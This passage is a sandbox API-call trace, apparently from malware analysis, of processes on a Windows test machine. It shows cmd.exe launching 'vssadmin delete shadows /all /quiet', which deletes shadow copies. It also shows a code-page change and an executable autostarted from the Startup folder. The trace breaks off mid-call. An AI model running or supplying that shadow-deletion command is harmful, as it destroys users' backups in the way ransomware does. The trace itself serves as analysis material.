hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.300] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0041.300] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.300] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.300] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.300] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0041.300] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.300] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.300] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.300] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0041.300] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.300] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.300] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.300] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0041.300] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.300] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.300] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.300] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0041.300] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.300] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.301] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.301] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0041.301] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.301] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.301] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.301] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0041.301] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.301] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.301] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.301] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0041.301] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.301] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.301] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.301] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0041.301] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.301] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.301] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0041.301] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0041.301] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.302] GetFileType (hFile=0xe8) returned 0x3 [0041.302] _get_osfhandle (_FileHandle=0) returned 0xe8 [0041.302] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.302] _get_osfhandle (_FileHandle=1) returned 0xf4 [0041.302] GetFileType (hFile=0xf4) returned 0x3 [0041.302] _get_osfhandle (_FileHandle=1) returned 0xf4 [0041.302] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a49c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0041.302] WriteFile (in: hFile=0xf4, lpBuffer=0x4a49c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x19fac8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesWritten=0x19fac8*=0x24, lpOverlapped=0x0) returned 1 [0041.302] GetProcessHeap () returned 0x270000 [0041.302] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4012) returned 0x28f630 [0041.302] GetProcessHeap () returned 0x270000 [0041.302] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28f630 | out: hHeap=0x270000) returned 1 [0041.303] GetProcessHeap () returned 0x270000 [0041.303] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb0) returned 0x2897e0 [0041.303] GetProcessHeap () returned 0x270000 [0041.303] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x22) returned 0x284610 [0041.304] GetProcessHeap () returned 0x270000 [0041.304] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x48) returned 0x28aa90 [0041.304] GetConsoleOutputCP () returned 0x4e3 [0041.304] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a49bfe0 | out: lpCPInfo=0x4a49bfe0) returned 1 [0041.304] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0041.305] GetConsoleTitleW (in: lpConsoleTitle=0x19fa80, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0041.305] GetProcessHeap () returned 0x270000 [0041.305] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x218) returned 0x289910 [0041.305] GetProcessHeap () returned 0x270000 [0041.305] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x5a) returned 0x289b30 [0041.305] GetProcessHeap () returned 0x270000 [0041.305] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x420) returned 0x289090 [0041.305] SetErrorMode (uMode=0x0) returned 0x0 [0041.305] SetErrorMode (uMode=0x1) returned 0x0 [0041.305] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2890a0, lpFilePart=0x19f310 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x19f310*="Desktop") returned 0x25 [0041.305] SetErrorMode (uMode=0x0) returned 0x1 [0041.305] GetProcessHeap () returned 0x270000 [0041.305] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289090, Size=0x6e) returned 0x289090 [0041.305] GetProcessHeap () returned 0x270000 [0041.305] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289090) returned 0x6e [0041.306] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a48f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0041.306] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0041.306] GetProcessHeap () returned 0x270000 [0041.306] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x128) returned 0x285b70 [0041.306] GetProcessHeap () returned 0x270000 [0041.306] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x240) returned 0x271ab0 [0041.306] GetProcessHeap () returned 0x270000 [0041.306] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x271ab0, Size=0x12a) returned 0x271ab0 [0041.306] GetProcessHeap () returned 0x270000 [0041.306] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x271ab0) returned 0x12a [0041.306] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a48f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0041.306] GetProcessHeap () returned 0x270000 [0041.306] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xe8) returned 0x289db0 [0041.306] GetProcessHeap () returned 0x270000 [0041.306] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289db0, Size=0x7e) returned 0x289db0 [0041.306] GetProcessHeap () returned 0x270000 [0041.306] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289db0) returned 0x7e [0041.306] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0041.306] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x19f080, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f080) returned 0xffffffffffffffff [0041.307] GetLastError () returned 0x2 [0041.307] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x19f080, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f080) returned 0xffffffffffffffff [0041.307] GetLastError () returned 0x2 [0041.307] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0041.307] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x19f080, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f080) returned 0x289ba0 [0041.307] FindClose (in: hFindFile=0x289ba0 | out: hFindFile=0x289ba0) returned 1 [0041.307] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x19f080, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f080) returned 0xffffffffffffffff [0041.308] GetLastError () returned 0x2 [0041.308] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x19f080, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x19f080) returned 0x289ba0 [0041.308] FindClose (in: hFindFile=0x289ba0 | out: hFindFile=0x289ba0) returned 1 [0041.308] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0041.308] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0041.308] GetConsoleTitleW (in: lpConsoleTitle=0x19f5d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0041.308] GetProcessHeap () returned 0x270000 [0041.308] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x21c) returned 0x289110 [0041.308] GetConsoleTitleW (in: lpConsoleTitle=0x289120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0041.308] GetProcessHeap () returned 0x270000 [0041.308] RtlReAllocateHeap (Heap=0x270000, Flags=0x0, Ptr=0x289110, Size=0xc0) returned 0x289110 [0041.308] GetProcessHeap () returned 0x270000 [0041.308] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x289110) returned 0xc0 [0041.308] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0041.309] GetProcessHeap () returned 0x270000 [0041.309] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289110 | out: hHeap=0x270000) returned 1 [0041.309] InitializeProcThreadAttributeList (in: lpAttributeList=0x19f388, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x19f348 | out: lpAttributeList=0x19f388, lpSize=0x19f348) returned 1 [0041.309] UpdateProcThreadAttribute (in: lpAttributeList=0x19f388, dwFlags=0x0, Attribute=0x60001, lpValue=0x19f338, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x19f388, lpPreviousValue=0x0) returned 1 [0041.309] GetStartupInfoW (in: lpStartupInfo=0x19f4a0 | out: lpStartupInfo=0x19f4a0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0041.310] GetProcessHeap () returned 0x270000 [0041.310] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x20) returned 0x284640 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0041.310] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0041.311] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0041.311] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0041.311] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0041.311] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0041.311] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0041.311] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0041.311] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0041.311] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0041.311] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0041.311] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0041.311] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0041.311] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0041.311] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0041.311] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0041.311] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0041.311] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0041.311] GetProcessHeap () returned 0x270000 [0041.311] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284640 | out: hHeap=0x270000) returned 1 [0041.311] GetProcessHeap () returned 0x270000 [0041.311] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x12) returned 0x288900 [0041.311] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x19f3c0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f370 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x19f370*(hProcess=0x50, hThread=0x54, dwProcessId=0xa10, dwThreadId=0xa14)) returned 1 [0041.320] CloseHandle (hObject=0x54) returned 1 [0041.320] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0041.320] GetProcessHeap () returned 0x270000 [0041.320] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28eb10 | out: hHeap=0x270000) returned 1 [0041.320] GetEnvironmentStringsW () returned 0x28eb10* [0041.320] GetProcessHeap () returned 0x270000 [0041.320] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb0e) returned 0x28f630 [0041.320] FreeEnvironmentStringsW (penv=0x28eb10) returned 1 [0041.320] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x19ec78, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x19ec78, ReturnLength=0x0) returned 0x0 [0041.321] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffda000, lpBuffer=0x19ecb0, nSize=0x380, lpNumberOfBytesRead=0x19ec70 | out: lpBuffer=0x19ecb0*, lpNumberOfBytesRead=0x19ec70*=0x380) returned 1 [0041.321] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x4e76e000" os_pid = "0xa08" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x9b4" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 19 os_tid = 0xa0c Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x4e97f000" os_pid = "0xa10" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x9b4" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0xa14 Thread: id = 23 os_tid = 0xabc Thread: id = 24 os_tid = 0xac4 Thread: id = 25 os_tid = 0xac8 Thread: id = 26 os_tid = 0xacc Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x4786a000" os_pid = "0xad0" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0xa10" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00054cd7" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 27 os_tid = 0xaec Thread: id = 28 os_tid = 0xae8 Thread: id = 29 os_tid = 0xae4 Thread: id = 30 os_tid = 0xae0 [0052.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xffdc60 | out: lpSystemTimeAsFileTime=0xffdc60*(dwLowDateTime=0xd35ae550, dwHighDateTime=0x1d58aa8)) [0052.750] GetCurrentProcessId () returned 0xad0 [0052.750] GetCurrentThreadId () returned 0xae0 [0052.750] GetTickCount () returned 0x1145800 [0052.751] QueryPerformanceCounter (in: lpPerformanceCount=0xffdc68 | out: lpPerformanceCount=0xffdc68*=17278962932) returned 1 [0052.751] malloc (_Size=0x100) returned 0x128e80 Thread: id = 31 os_tid = 0xadc Thread: id = 32 os_tid = 0xad8 Thread: id = 33 os_tid = 0xad4 Thread: id = 34 os_tid = 0xb04 Thread: id = 41 os_tid = 0xbc8 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4426f000" os_pid = "0xaf0" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0xad0" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:000559e5" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 35 os_tid = 0xb0c Thread: id = 36 os_tid = 0xb08 Thread: id = 37 os_tid = 0xb00 Thread: id = 38 os_tid = 0xafc Thread: id = 39 os_tid = 0xaf8 Thread: id = 40 os_tid = 0xaf4 Process: id = "7" image_name = "3g6885.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe" page_root = "0x79685000" os_pid = "0x568" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9a0" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 42 os_tid = 0x56c [0123.347] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76e10000 [0123.353] GetProcAddress 